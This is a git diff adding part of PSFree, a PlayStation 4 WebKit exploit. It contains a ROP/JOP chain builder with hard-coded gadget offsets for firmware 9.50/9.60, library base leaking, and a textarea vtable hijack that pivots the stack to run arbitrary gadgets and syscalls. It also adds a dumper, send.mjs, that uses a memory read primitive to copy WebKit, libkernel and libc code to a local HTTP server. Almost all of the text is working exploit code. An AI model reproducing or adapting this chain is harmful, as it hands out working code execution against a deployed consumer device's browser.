+const jop3 = `
+push rbp
+mov rbp, rsp
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x58]
+`;
+const jop4 = `
+mov rdx, qword ptr [rax + 0x18]
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x10]
+`;
+const jop5 = `
+push rdx
+jmp qword ptr [rax]
+`;
+const jop6 = 'pop rsp; ret';
+
+// the ps4 firmware is compiled to use rbp as a frame pointer
+//
+// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
+// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
+// restore rbp (if needed) before the epilogue.
+//
+// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
+// pushed earlier before the pivot, thus restoring the old rbp).
+//
+// leave instruction equivalent:
+//     mov rsp, rbp
+//     pop rbp
+const rop_epilogue = 'leave; ret';
+
+const push_rdx_jmp = `
+push rdx
+jmp qword ptr [rax]
+`;
+
+const webkit_gadget_offsets = new Map(Object.entries({
+    'pop rax; ret' : 0x0000000000011c46,
+    'pop rbx; ret' : 0x0000000000013730,
+    'pop rcx; ret' : 0x0000000000035a1e,
+    'pop rdx; ret' : 0x000000000018de52,
+
+    'pop rbp; ret' : 0x00000000000000b6,
+    'pop rsi; ret' : 0x0000000000092a8c,
+    'pop rdi; ret' : 0x000000000005d19d,
+    'pop rsp; ret' : 0x00000000000253e0,
+
+    'pop r8; ret' : 0x000000000003fe32,
+    'pop r9; ret' : 0x0000000000aaad51,
+    'pop r11; ret' : 0x0000000000520109,
+
+    'pop r12; ret' : 0x0000000000420ad1,
+    'pop r13; ret' : 0x00000000018fc4c1,
+    'pop r14; ret' : 0x000000000028c900,
+    'pop r15; ret' : 0x00000000001619db,
+
+    'ret' : 0x0000000000000032,
+    'leave; ret' : 0x0000000000056322,
+
+    'neg rax; and rax, rcx; ret' : 0x00000000014d2af4,
+    'adc esi, esi; ret' : 0x00000000004fd968,
+    'add rax, rdx; ret' : 0x00000000006d1a88,
+    'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000008e6b06,
+    'pop rsi ; cmc ; jmp qword ptr [rax + 0x7c]' : 0x0000000002bf3741,
+
+    'mov qword ptr [rdi], rsi; ret' : 0x00000000000b2350,
+    'mov rax, qword ptr [rax]; ret' : 0x000000000000c671,
+    'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07,
+    'mov rdx, rcx; ret' : 0x0000000000b9cb04,
+    'mov qword ptr [rsi], rcx; ret' : 0x000000000012a5ca,
+
+    [push_rdx_jmp] : 0x00000000002b7a9c,
+
+    [jop1] : 0x0000000001b0ad6f,
+    [jop2] : 0x0000000002bf3741,
+    [jop3] : 0x00000000001a75a0,
+    [jop4] : 0x000000000035fc94,
+    [jop5] : 0x00000000002b7a9c,
+    [jop6] : 0x00000000000253e0,
+}));
+
+const libc_gadget_offsets = new Map(Object.entries({
+    'neg rax; ret' : 0x00000000000d2923,
+    'mov rdx, rax; xor eax, eax; shl rdx, cl; ret' : 0x00000000000cda59,
+    'setjmp' : offset_libc_setjmp,
+    'longjmp' : offset_libc_longjmp,
+}));
+
+const gadgets = new Map();
+
+function get_bases() {
+    const textarea = document.createElement('textarea');
+    const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
+    const textarea_vtable = webcore_textarea.readp(0);
+    const libwebkit_base = find_base(textarea_vtable, true, true);
+
+    const stack_chk_fail_import =
+        libwebkit_base
+        .add(offset_wk_stack_chk_fail)
+    ;
+    const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
+    const libkernel_base = find_base(stack_chk_fail_addr, true, true);
+
+    const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
+    const memcpy_addr = resolve_import(memcpy_import);
+    const libc_base = find_base(memcpy_addr, true, true);
+
+    return [
+        libwebkit_base,
+        libkernel_base,
+        libc_base,
+    ];
+}
+
+function init_gadget_map(gadget_map, offset_map, base_addr) {
+    for (const [insn, offset] of offset_map) {
+        gadget_map.set(insn, base_addr.add(offset));
+    }
+}
+
+class Chain950Base extends ChainBase {
+    constructor() {
+        super();
+
+        // for conditional jumps
+        this._clean_branch_ctx();
+        this.flag = new Uint8Array(8);
+        this.flag_addr = get_view_vector(this.flag);
+        this.jmp_target = new Uint8Array(0x100);
+        rw.write64(this.jmp_target, 0x7c, this.get_gadget(push_rdx_jmp));
+        rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
+
+        // for save/restore
+        this.is_saved = false;
+        const jmp_buf_size = 0xc8;
+        this.jmp_buf = new Uint8Array(jmp_buf_size);
+        this.jmp_buf_p = get_view_vector(this.jmp_buf);
+    }
+
+    // sequence to pivot back and return
+    push_end() {
+        this.push_gadget(rop_epilogue);
+    }
+
+    check_is_branching() {
+        if (this.is_branch_ctx) {
+            throw Error('chain is still branching, end it before running');
+        }
+    }
+
+    push_value(value) {
+        super.push_value(value);
+
+        if (this.is_branch_ctx) {
+            this.branch_position += 8;
+        }
+    }
+
+    _clean_branch_ctx() {
+        this.is_branch_ctx = false;
+        this.branch_position = null;
+        this.delta_slot = null;
+        this.rsp_slot = null;
+        this.rsp_position = null;
+    }
+
+    clean() {
+        super.clean();
+        this._clean_branch_ctx();
+        this.is_saved = false;
+    }
+
+    // Use start_branch() and end_branch() to delimit a ROP chain that will
+    // conditionally execute. rax must be set accordingly before the branch.
+    // rax == 0 means execute the conditional chain.
+    //
+    // example that always execute the conditional chain:
+    //     chain.push_gadget('mov rax, 0; ret');
+    //     chain.start_branch();
+    //     chain.push_gadget('pop rbx; ret'); // always executed
+    //     chain.end_branch();
+    start_branch() {
+        if (this.is_branch_ctx) {
+            throw Error('chain already branching, end it first');
+        }
+
+        // clobbers rax, rcx, rdi, rsi
+        //
+        // u64 flag = 0 if -rax == 0 else 1
+        // *flag_addr = flag
+        this.push_gadget('pop rcx; ret');
+        this.push_constant(-1);
+        this.push_gadget('neg rax; ret');
+        this.push_gadget('pop rsi; ret');
+        this.push_constant(0);
+        this.push_gadget('adc esi, esi; ret');
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rsi; ret');
+
+        // clobbers rax, rcx, rdi
+        //
+        // rax = *flag_addr
+        // rcx = delta
+        // rax = -rax & rcx
+        // *flag_addr = rax
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov rax, qword ptr [rax]; ret');
+
+        // dummy value, overwritten later by end_branch()
+        this.push_gadget('pop rcx; ret');
+        this.delta_slot = this.position;
+        this.push_constant(0);
+
+        this.push_gadget('neg rax; and rax, rcx; ret');
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // clobbers rax, rcx, rdx, rsi
+        //
+        // rcx = rsp_position
+        // rsi = rsp
+        // rcx += rsi
+        // rdx = rcx
+        //
+        // dummy value, overwritten later at the end of start_branch()
+        this.push_gadget('pop rcx; ret');
+        this.rsp_slot = this.position;
+        this.push_constant(0);
+
+        this.push_gadget('pop rsi; ret');
+        this.push_value(this.stack_addr.add(this.position + 8));
+
+        // rsp collected here, start counting how much to perturb rsp
+        this.branch_position = 0;
+        this.is_branch_ctx = true;
+
+        this.push_gadget('add rcx, rsi; and rdx, rcx; or rax, rdx; ret');
+        this.push_gadget('mov rdx, rcx; ret');
+
+        // clobbers rax
+        //
+        // rax = *flag_addr
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov rax, qword ptr [rax]; ret');
+
+        // clobbers rax
+        //
+        // rax += rdx
+        // new_rsp = rax
+        this.push_gadget('add rax, rdx; ret');
+
+        // clobbers rdi
+        //
+        // for debugging, save new_rsp to flag_addr so we can verify it later
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.flag_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // clobbers rdx, rcx
+        //
+        // rdx = rax
+        this.push_gadget('pop rcx; ret');
+        this.push_constant(0);
+        this.push_gadget('mov rdx, rax; xor eax, eax; shl rdx, cl; ret');
+
+        // clobbers rax, rdx, rsi, rsp
+        //
+        // rsp = rdx
+        this.push_gadget('pop rax; ret');
+        this.push_value(get_view_vector(this.jmp_target));
+        this.push_gadget('pop rsi ; cmc ; jmp qword ptr [rax + 0x7c]');
+        this.push_constant(0); // padding for the push
+
+        this.rsp_position = this.branch_position;
+        rw.write64(this.stack, this.rsp_slot, new Int(this.rsp_position));
+    }
+
+    end_branch() {
+        if (!this.is_branch_ctx) {
+            throw Error('can not end nonbranching chain');
+        }
+
+        const delta = this.branch_position - this.rsp_position;
+        rw.write64(this.stack, this.delta_slot, new Int(delta));
+        this._clean_branch_ctx();
+    }
+
+    // clobbers rax, rdi, rsi
+    push_save() {
+        if (this.is_saved) {
+            throw Error('restore first before saving again');
+        }
+        this.push_call(this.get_gadget('setjmp'), this.jmp_buf_p);
+        this.is_saved = true;
+    }
+
+    // Force a push_restore() if at runtime you can ensure the save/restore
+    // pair line up.
+    push_restore(is_force=false) {
+        if (!this.is_saved && !is_force) {
+            throw Error('save first before restoring');
+        }
+        // modify jmp_buf.rsp
+        this.push_gadget('pop rax; ret');
+        const rsp_slot = this.position;
+        // dummy value, overwritten later at the end of push_restore()
+        this.push_constant(0);
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.jmp_buf_p.add(0x38));
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        // modify jmp_buf.return_address
+        this.push_gadget('pop rax; ret');
+        this.push_value(this.get_gadget('ret'));
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.jmp_buf_p.add(0x80));
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+
+        this.push_call(this.get_gadget('longjmp'), this.jmp_buf_p);
+
+        // Padding as longjmp() pushes the rdi and return address in the
+        // jmp_buf at the target rsp.
+        this.push_constant(0);
+        this.push_constant(0);
+        const target_rsp = this.stack_addr.add(this.position);
+
+        rw.write64(this.stack, rsp_slot, target_rsp);
+        this.is_saved = false;
+    }
+
+    push_get_retval() {
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.retval_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+    }
+
+    call(...args) {
+        if (this.position !== 0) {
+            throw Error('call() needs an empty chain');
+        }
+        this.push_call(...args);
+        this.push_get_retval();
+        this.push_end();
+        this.run();
+        this.clean();
+
+        return this.return_value;
+    }
+
+    syscall(...args) {
+        if (this.position !== 0) {
+            throw Error('syscall() needs an empty chain');
+        }
+        this.push_syscall(...args);
+        this.push_get_retval();
+        this.push_end();
+        this.run();
+        this.clean();
+
+        return this.return_value;
+    }
+}
+
+// Chain for PS4 9.60
+class Chain950 extends Chain950Base {
+    constructor() {
+        super();
+
+        // sizeof JSC:JSObject, the JSCell + the butterfly field
+        const js_size = 0x10;
+        // sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
+        const js_ta_size = 0x20;
+        // start of the array of inline properties (JSValues)
+        const offset_js_inline_prop = 0x10;
+        // Sizes may vary between webkit versions so we just assume a size
+        // that we think is large enough for all of them.
+        const vtable_size = 0x1000;
+        const webcore_ta_size = 0x180;
+
+        const ta_clone = {};
+        this.ta_clone = ta_clone;
+        const clone_p = mem.addrof(ta_clone);
+        const ta_p = mem.addrof(rop_ta);
+
+        for (let i = js_size; i < js_ta_size; i += 8) {
+            clone_p.write64(i, ta_p.read64(i));
+        }
+
+        const webcore_ta = ta_p.readp(offset_textarea_impl);
+        const m_wrapped_clone = new Uint8Array(
+            make_buffer(webcore_ta, webcore_ta_size)
+        );
+        this.m_wrapped_clone = m_wrapped_clone;
+
+        // Replicate the vtable as much as possible or else the garbage
+        // collector will crash. It uses functions from the vtable.
+        //
+        // There is no need to restore the original vtable pointer later since
+        // it points to a copy with only offset 0x1c8 changed. The scrollLeft
+        // getter is not used by the GC.
+        const vtable_clone = new Uint8Array(
+            make_buffer(webcore_ta.readp(0), vtable_size)
+        );
+        this.vtable_clone = vtable_clone
+
+        clone_p.write64(
+            offset_textarea_impl,
+            get_view_vector(m_wrapped_clone),
+        );
+        rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
+
+        clone_p.write64(0, ta_p.read64(0));
+
+        // 0x1b8 is the offset of the scrollLeft getter native function
+        rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1));
+
+        // for the JOP chain
+        const rax_ptrs = new Uint8Array(0x100);
+        const rax_ptrs_p = get_view_vector(rax_ptrs);
+        this.rax_ptrs = rax_ptrs;
+
+        rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
+        rw.write64(rax_ptrs, 0x7c, this.get_gadget(jop3));
+        rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4));
+        rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
+        rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
+        // value to pivot rsp to
+        rw.write64(rax_ptrs, 0x18, this.stack_addr);
+
+        const jop_buffer = new Uint8Array(8);
+        const jop_buffer_p = get_view_vector(jop_buffer);
+        this.jop_buffer = jop_buffer;
+
+        rw.write64(jop_buffer, 0, rax_ptrs_p);
+
+        clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
+    }
+
+    run() {
+        this.check_stale();
+        this.check_is_empty();
+        this.check_is_branching();
+
+        // jump to JOP chain
+        this.ta_clone.scrollLeft;
+   }
+}
+const Chain = Chain950;
+
+function init(Chain) {
+    [libwebkit_base, libkernel_base, libc_base] = get_bases();
+
+    init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
+    init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
+    init_syscall_array(syscall_array, libkernel_base, 300 * KB);
+    debug_log('syscall_array:');
+    debug_log(syscall_array);
+    Chain.init_class(gadgets, syscall_array);
+}
+
+function test_rop(Chain) {
+    const jmp_buf = new Uint8Array(jmp_buf_size);
+    const jmp_buf_p = get_view_vector(jmp_buf);
+
+    init(Chain);
+
+    setjmp_addr = gadgets.get('setjmp');
+    longjmp_addr = gadgets.get('longjmp');
+
+    const chain = new Chain();
+    // Instead of writing to the jmp_buf, set rax here so it will be restored
+    // as the return value after the longjmp().
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(1);
+    chain.push_call(setjmp_addr, jmp_buf_p);
+
+    chain.start_branch();
+
+    debug_log(`if chain addr: ${chain.stack_addr.add(chain.position)}`);
+    chain.push_call(longjmp_addr, jmp_buf_p);
+
+    chain.end_branch();
+
+    debug_log(`endif chain addr: ${chain.stack_addr.add(chain.position)}`);
+    chain.push_end();
+
+    // The ROP chain is a noop. If we crashed, then we did something wrong.
+    alert('chain run');
+    debug_log('test call setjmp()/longjmp()');
+    chain.run()
+    alert('returned successfully');
+    debug_log('returned successfully');
+    debug_log('jmp_buf:');
+    debug_log(jmp_buf);
+    debug_log(`flag: ${rw.read64(chain.flag, 0)}`);
+
+    const state1 = new Uint8Array(8);
+    debug_log('test if rax == 0');
+    chain.clean();
+
+    chain.push_gadget('pop rsi; ret');
+    chain.push_value(get_view_vector(state1));
+    chain.push_save();
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(0);
+
+    chain.start_branch();
+    chain.push_restore();
+
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(1);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.end_branch();
+
+    chain.push_restore(true);
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(2);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.run();
+    debug_log(`state1 must be 1: ${state1}`);
+    if (state1[0] !== 1) {
+        die('if branch not taken');
+    }
+
+    const state2 = new Uint8Array(8);
+    debug_log('test if rax != 0');
+    chain.clean();
+
+    chain.push_gadget('pop rsi; ret');
+    chain.push_value(get_view_vector(state2));
+    chain.push_save();
+    chain.push_gadget('pop rax; ret');
+    chain.push_constant(1);
+
+    chain.start_branch();
+    chain.push_restore();
+
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(1);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.end_branch();
+
+    chain.push_restore(true);
+    chain.push_gadget('pop rcx; ret');
+    chain.push_constant(2);
+    chain.push_gadget('mov qword ptr [rsi], rcx; ret');
+    chain.push_end();
+
+    chain.run();
+    debug_log(`state2 must be 2: ${state2}`);
+    if (state2[0] !== 2) {
+        die('if branch taken');
+    }
+
+    debug_log('test syscall getuid()');
+    chain.clean();
+    // Set the return value to some random value. If the syscall worked, then
+    // it will likely change.
+    const magic = 0x4b435546;
+    rw.write32(chain._return_value, 0, magic);
+
+    const res = chain.syscall('getuid');
+
+    debug_log(`return value: ${res}`);
+    if (res.eq(magic)) {
+        die('syscall getuid failed');
+    }
+}
+
+test_rop(Chain);
\ No newline at end of file
diff --git a/send.mjs b/send.mjs
new file mode 100644
index 0000000..83cd176
--- /dev/null
+++ b/send.mjs
@@ -0,0 +1,193 @@
+/* Copyright (C) 2024 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
+
+import * as config from './config.mjs';
+
+import { Int } from './module/int64.mjs';
+import { Addr, mem } from './module/mem.mjs';
+import { make_buffer, find_base, resolve_import } from './module/memtools.mjs';
+import { KB, MB } from './module/constants.mjs';
+
+import {
+    debug_log,
+    align,
+    die,
+    send,
+} from './module/utils.mjs';
+
+import * as rw from './module/rw.mjs';
+import * as o from './module/offset.mjs';
+
+const origin = window.origin;
+const port = '8000';
+const url = `${origin}:${port}`;
+
+const textarea = document.createElement('textarea');
+// JSObject
+const js_textarea = mem.addrof(textarea);
+
+// boundaries of the .text + PT_SCE_RELRO portion of a module
+function get_boundaries(leak) {
+    const lib_base = find_base(leak, true, true);
+    const lib_end = find_base(leak, false, false);
+
+    return [lib_base, lib_end]
+}
+
+// dump a module's .text and PT_SCE_RELRO segments only
+function dump(name, lib_base, lib_end) {
+    // assumed size < 4GB
+    const lib_size = lib_end.sub(lib_base).low();
+    debug_log(`${name} base: ${lib_base}`);
+    debug_log(`${name} size: ${lib_size}`);
+    const lib = make_buffer(
+        lib_base,
+        lib_size
+    );
+    send(
+        url,
+        lib,
+        `${name}.sprx.text_${lib_base}.bin`,
+        () => debug_log(`${name} sent`)
+    );
+}
+
+// dump for libSceNKWebKit.sprx
+function dump_libwebkit() {
+    let addr = js_textarea;
+    // WebCore::HTMLTextAreaElement
+    addr = addr.readp(0x18);
+
+    // vtable for WebCore::HTMLTextAreaElement
+    // in PT_SCE_RELRO segment (p_type = 0x6100_0010)
+    addr = addr.readp(0);
+
+    debug_log(`vtable: ${addr}`);
+    const vtable = make_buffer(addr, 0x400);
+    send(url, vtable, `vtable_${addr}.bin`, () => debug_log('vtable sent'));
+
+    const [lib_base, lib_end] = get_boundaries(addr);
+    dump('libSceNKWebKit', lib_base, lib_end);
+
+    return lib_base;
+}
+
+// dump for libkernel_web.sprx
+function dump_libkernel(libwebkit_base) {
+    const offset = 0x8d8;
+    const vtable_p = js_textarea.readp(0x18).readp(0);
+    // __stack_chk_fail
+    const stack_chk_fail_import = libwebkit_base.add(offset);
+
+    const libkernel_leak = resolve_import(stack_chk_fail_import);
+    debug_log(`__stack_chk_fail import: ${libkernel_leak}`);
+
+    const [lib_base, lib_end] = get_boundaries(libkernel_leak);
+    dump('libkernel_web', lib_base, lib_end);
+}
+
+// dump for libSceLibcInternal.sprx
+function dump_libc(libwebkit_base) {
+    const offset = 0x918;
+    const vtable_p = js_textarea.readp(0x18).readp(0);
+    // strlen
+    const strlen_import = libwebkit_base.add(offset);
+
+    const libc_leak = resolve_import(strlen_import);
+    debug_log(`strlen import: ${libc_leak}`);
+
+    const [lib_base, lib_end] = get_boundaries(libc_leak);
+    dump('libSceLibcInternal', lib_base, lib_end);
+}
+
+function dump_webkit() {
+    const libwebkit_base = dump_libwebkit();
+    dump_libkernel(libwebkit_base);
+    dump_libc(libwebkit_base);
+}
+
+// See globalFuncEval() from
+// WebKit/Source/JavaScriptCore/runtime/JSGlobalObjectFunctions.cpp at PS4
+// 8.03.
+//
+// Used to dump the implementation of eval() to figure out the expression
+// "execState.argument(0)".
+//
+// eval()'s native function receives a JSC::ExecState pointer (renamed to
+// JSC::CallFrame on webkitgtk 2.34.4). That type has an argument() method
+// which takes an index and returns the corresponding JSValue passed to eval(),
+// e.g. execState.argument(0) is the first JSValue argument.
+//
+// execState.argument(0) evaluates to *(&execState + argumentOffset + 0).
+// Knowing the argumentOffset is useful for passing data to ROP chains.
+// argumentOffset is 0x30 for PS4 8.03.
+//
+// The PS4 uses the System V ABI. The ExecState pointer is passed to the rdi
+// register since it is the first argument. ROP chains can get the JSValue
+// passed via *(rdi + 0x30).
+//
+// For example, the expression "eval(1)" has the JSValue encoding of 1 passed
+// to *(rdi + 0x30).
+function dump_eval() {
+    let addr = js_textarea;
+    // WebCore::HTMLTextAreaElement
+    addr = addr.readp(0x18);
+
+    // vtable for WebCore::HTMLTextAreaElement
+    // in PT_SCE_RELRO segment (p_type = 0x6100_0010)
+    addr = addr.readp(0);
+
+    const libwebkit_base =  find_base(addr, true, true);
+    const impl = mem.addrof(eval).readp(0x18).readp(0x38);
+    const offset = impl.sub(libwebkit_base);
+    send(
+        url,
+        make_buffer(impl, 0x800),
+        `eval_dump_offset_${offset}.bin`,
+        () => debug_log('sent')
+    );
+}
+
+// Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if
+// it works. It did but let's add this dumper so we can verify it another way.
+// See howto_code_exec.txt about code execution via the vtable of a textarea
+// element.
+function dump_scrollLeft() {
+    let proto = Object.getPrototypeOf(textarea);
+    proto = Object.getPrototypeOf(proto);
+    proto = Object.getPrototypeOf(proto);
+
+    const scrollLeft_get =
+        Object.getOwnPropertyDescriptors(proto).scrollLeft.get
+    ;
+
+    // get the JSCustomGetterSetterFunction
+    const js_func = mem.addrof(scrollLeft_get);
+    const getterSetter = js_func.readp(0x28);
+    const getter = getterSetter.readp(8);
+
+    const libwebkit_base = find_base(getter, true, true);
+    const offset = getter.sub(libwebkit_base);
+    send(
+        url,
+        make_buffer(getter, 0x800),
+        `scrollLeft_getter_dump_offset_${offset}.bin`,
+        () => debug_log('sent')
+    );
+}
+
+dump_scrollLeft();
